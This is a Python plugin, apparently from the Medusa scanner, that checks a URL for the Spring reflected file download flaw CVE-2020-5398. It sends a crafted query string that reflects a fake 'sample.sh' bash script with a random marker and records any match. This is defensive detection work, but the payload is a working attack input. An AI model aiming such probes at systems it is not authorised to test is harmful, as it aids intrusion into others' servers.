#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import ClassCongregation
from ClassCongregation import randoms
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-5398" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-1-18"  # 插件编辑时间
        self.info['disclosure']='2020-1-16'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SpringReflectionFileDownloadVulnerability"  # 插件名称
        self.info['name'] ='Spring反射文件下载漏洞' #漏洞名称
        self.info['affects'] = "Spring"  # 漏洞组件
        self.info['desc_content'] = "攻击者可利用RFD漏洞，结合社工等方式，让用户下载一个恶意文件并执行，从而危害用户的终端安全。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "Spring Framework 5.2.0 to 5.2.2，5.1.0 to 5.1.12，5.0.0 to 5.0.15"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    try:
        rads = randoms().result(20)
        payload="/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0A{}%27%20".format(rads)
        payload_url = url+ payload

        Headers['Accept']='*/*'
        Headers['Connection']='close'
        Headers["Upgrade-Insecure-Requests"]="1"


        #s = requests.session()
        resp = requests.get(payload_url,headers=Headers,proxies=proxies, timeout=6, verify=False,allow_redirects=False)
        con = resp.text
        code = resp.status_code
        if code==200 and con.find("#!/bin/bash")!=-1 and con.find(rads)!=-1:
            Medusa = "{} 存在Spring反射文件下载漏洞(CVE-2020-5398)\r\n漏洞地址:\r\n{}\r\n返回内容:\r\n{}".format(url,payload_url,con)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类

